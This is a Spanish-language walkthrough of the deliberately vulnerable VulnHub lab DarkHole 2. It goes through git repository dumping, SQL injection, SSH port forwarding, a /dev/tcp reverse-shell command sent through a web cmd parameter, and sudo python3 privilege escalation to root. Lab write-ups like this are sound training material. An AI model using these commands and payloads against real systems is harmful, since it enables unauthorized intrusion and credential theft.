Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de VulnHub llamada DarkHole 2, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:
- Reconocimiento del sistema.
- Enumeración de proyecto Git.
- SQLi.
- Local Port Forwarding utilizando ssh.
- Abuso de servidor web.
- Información fitrada (bash history).
- Abuso de privilegio de Sudoers.
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión con la máquina utilizando ping
:
1
2
3
4
ping -c 1 192.168.233.130
PING 192.168.233.130 (192.168.233.130) 56(84) bytes of data.
64 bytes from 192.168.233.130: icmp_seq=1 ttl=64 time=0.266 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS
el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):
1
sudo nmap -p- -sS -open 192.168.233.130 -oG Port
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
nmap -sCV -p22,80 192.168.223.130 -Pn -oN ServiceScan
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 57b1f564289891516d70766ea552435d (RSA)
| 256 cc64fd7cd85e488a289891b9e41e6da8 (ECDSA)
|_ 256 9e7708a4529f338d9619ba757127bd60 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 192.168.233.130:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: i changed login.php file for more secure
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole V2
Observamos un servicio http, el cual tiene un repositorio de Git, vamos a utilizar whatweb para enumerar información:
1
2
whatweb 192.168.233.130
http://192.168.233.130 [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.233.130], Title[DarkHole V2]
Vamos a ver la web:
Tenemos un panel de login, vamos a verlo:
Antes de realizar intentos de SQLi, vamos a revisar el directorio .git:
Explotación
Vamos a traernos el proyecto a nuestro equipo utilizando git_dumper
:
1
2
3
4
5
6
7
8
9
10
python3 git_dumper.py http://192.168.233.130/.git darkhole2
[-] Testing http://192.168.233.130/.git/HEAD [200]
[-] Testing http://192.168.233.130/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://192.168.233.130/.git/ [200]
[-] Fetching http://192.168.233.130/.gitignore [404]
[-] http://192.168.233.130/.gitignore responded with status code 404
[-] Fetching http://192.168.233.130/.git/hooks/ [200]
[-] Fetching http://192.168.233.130/.git/logs/ [200]
[-] Fetching http://192.168.233.130/.git/HEAD [200]
Cuando termine, entramos a la carpeta que ha creado:
1
2
ls
config dashboard.php index.php js login.php logout.php style
Observamos todos los archivos del proyecto, si los revisamos encontraremos el panel de login:
1
2
3
4
5
6
7
8
9
10
11
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
$email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
$pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
$check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
if($check->num_rows){
$_SESSION['userid'] = 1;
header("location:dashboard.php");
die();
}
El cual implementa funciones para evitar las injecciones.
Pero no encontramos más información, sin embargo, como es un proyecto de git vamos a ver si existen logs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master)
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:14:32 2021 +0300
i changed login.php file for more secure
commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:06:20 2021 +0300
I added login.php file with default credentials
commit aa2a5f3aa15bb402f2b90a07d86af57436d64917
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:02:44 2021 +0300
First Initialize
Si existen, vemos un commit que dice que ha agregado al login una cuenta con credenciales por defecto, vamos a ver de que se trata:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
git show a4d900a8d85e8938d3601f3cef113ee293028e10
commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:06:20 2021 +0300
I added login.php file with default credentials
diff --git a/login.php b/login.php
index e69de29..8a0ff67 100644
--- a/login.php
+++ b/login.php
@@ -0,0 +1,42 @@
+<?php
+session_start();
+require 'config/config.php';
+if($_SERVER['REQUEST_METHOD'] == 'POST'){
+ if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
+ $_SESSION['userid'] = 1;
+ header("location:dashboard.php");
+ die();
+ }
Vemos unas credenciales, vamos a probarlas en el panel de login.
Al ingresar vemos:
Vemos un panel, vamos a intentar algunas injecciones para ver si es vulnerable:
Sin embargo, no logramos nada.
En la URL podemos ver que se está utilizando un id para identificar el usuario, vamos a probar uno diferente:
Vemos que si, vamos a analizar esto mejor en burpsuite
:
Como podemos saltar de id en id, tenemos un posible campo de injección, asi que vamos a probar SQLi:
Vemos que al agregar una comilla, da página da error, vamos a probar a enumerar las columnas:
Vemos que ha dado error, vamos a ir bajando el valor de las columnas. (en URL encode porque es una dirección url y no funciona en caso contrario.)
Luego de ir bajando el valor llegamos a 6, en el cual ya no da error. Por lo tanto, nos hace pensar que este es el número de columnas que tiene la tabla, vamos a probarlo:
Vemos que ha funcionado, dentro de los imput se ven reflejados los numeros que hemos seleccionado, por lo tanto, vamos a enumerar la base de datos:
Vemos que la base de datos se llama darkhole_2, vamos a enumerar las tablas:
Observamos que hay una tabla llamada ssh, vamos a ver las columnas que tiene:
Vemos que hay una columna id, sin embargo, nos hace pensar que falta información, para ello utilizaremos group_concat para forzar a que toda la información aparezca en la misma linea:
Vemos que existen las columnas id, user y pass, vamos a extraer la información:
Tenemos unas credenciales jehad y passowrd fool, como la tabla se llama ssh nos hace pensar que corresponde a un usuario válido, vamos a probarlo:
1
2
3
4
ssh jehad@192.168.233.130
jehad@darkhole:~$ whoami
jehad
Logramos iniciar sesión correctamente por ssh en la máquina.
Vamos a buscar la flag:
1
2
jehad@darkhole:/home/losy$ cat user.txt
DarkHole{'This_is_the_life_man_better_than_a_cruise'}
¡Bien!, tenemos la flag de usuario, ahora vamos a escalar privilegios.
Escalada de privilegios
Vamos a empezar enumerando nuestro grupo y privilegios:
1
2
jehad@darkhole:/home/losy$ id
uid=1001(jehad) gid=1001(jehad) groups=1001(jehad)
Para los permisos:
1
2
3
jehad@darkhole:/home/losy$ sudo -l
[sudo] password for jehad:
Sorry, user jehad may not run sudo on darkhole.
Pero no encontramos nada. Si buscamos por binarios SUID:
1
2
jehad@darkhole:/home/losy$ find / -perm 4000 2>/dev/null
jehad@darkhole:/home/losy$
No tenemos nada, vamos a buscar por tareas cron:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root service apache2 start && service mysql start
* * * * * losy cd /opt/web && php -S localhost:9999
Y vemos algo interesante, tenemos lo que parece ser un servidor web por el puerto 9999 por parte de losy, vamos a traernos este puerto a nuestro equipo para ver de que se trata, esto lo haremos haciendo port forwarding utilizando ssh:
1
ssh -L 9999:127.0.0.1:9999 jehad@192.168.233.130
De esta forma, convertimos nuestro puerto 9999 en el puerto de la máquina víctima, vamos a ver que es:
Vemos que pide un parámetro cmd, al parecer podemos ingresar comandos:
Tenemos entonces, una forma de ejectuar comandos como el usuario losy, vamos a ganar acceso como losy:
1
http://localhost:9999/?cmd=bash -c 'bash -i >%26 /dev/tcp/192.168.233.129/1234 0>%261'
Vamos a enviarnos una bash hacia nuestra máquina, utilizando el /dev/tcp, con ello entonces vamos a estar escuchando por netcat por el puerto 1234:
1
2
3
4
5
6
7
8
nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.233.128] from (UNKNOWN) [192.168.233.130] 55314
bash: cannot set terminal process group (1266): Inappropriate ioctl for device
bash: no job control in this shell
losy@darkhole:/opt/web$ whoami
whoami
losy
Hemos ganado acceso como el usuario losy, vamos a arreglar la bash:
- script /dev/null -c bash
- control + z
- stty ray -echo; fg
- reset xterm
- export TERM=xterm
- export SHELL=bash
- stty rows X columns Y (dependiendo de tu stty size)
Con esto listo, ya podemos movernos con comodidad.
Si nos vamos al directorio personal de losy, encontraremos algo interesante:
1
2
3
4
5
6
7
8
9
10
11
losy@darkhole:~$ ls -la
total 36
drwxr-xr-x 4 losy losy 4096 Feb 24 16:44 .
drwxr-xr-x 5 root root 4096 Sep 2 2021 ..
-rw------- 1 losy losy 1123 Sep 3 2021 .bash_history
-rw-r--r-- 1 losy losy 220 Sep 2 2021 .bash_logout
-rw-r--r-- 1 losy losy 3771 Sep 2 2021 .bashrc
drwx------ 2 losy losy 4096 Sep 2 2021 .cache
drwxrwxr-x 3 losy losy 4096 Sep 3 2021 .local
-rw-r--r-- 1 losy losy 807 Sep 2 2021 .profile
-rw-rw-r-- 1 losy losy 55 Sep 3 2021 user.txt
Vemos el bash history, si le echamos un ojo y vamos revisando las lineas encontramos lo siguiente:
1
P0assw0rd losy:gang
Parece ser la contraseña de losy, vamos a intentar cambiar de usuario:
1
2
3
4
jehad@darkhole:/home/losy$ su losy
Password:
losy@darkhole:~$ whoami
losy
Ahora nos hemos convertido en losy, y tenemos sus credenciales, vamos a ver los privilegios que tenemos:
1
2
3
4
5
6
7
losy@darkhole:~$ sudo -l
[sudo] password for losy:
Matching Defaults entries for losy on darkhole:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User losy may run the following commands on darkhole:
(root) /usr/bin/python3
Podemos ejecutar python con privilegios, esto es crítico, pues podemos ganar acceos al sistema como root facilmente:
1
2
3
4
5
6
7
8
9
losy@darkhole:~$ sudo /usr/bin/python3
Python 3.8.10 (default, Nov 14 2022, 12:59:47)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("bash -p")
root@darkhole:/home/losy# whoami
root
root@darkhole:/home/losy#
Nos hemos convertido en root, pues mediante python utilizando la librería os podemos ejecutar comandos en el sistema.
Vamos a buscar la flag:
1
2
root@darkhole:~# cat root.txt
DarkHole{'Legend'}
¡Listo! Hemos terminado la intrusión.
Nos vemos, hasta la próxima.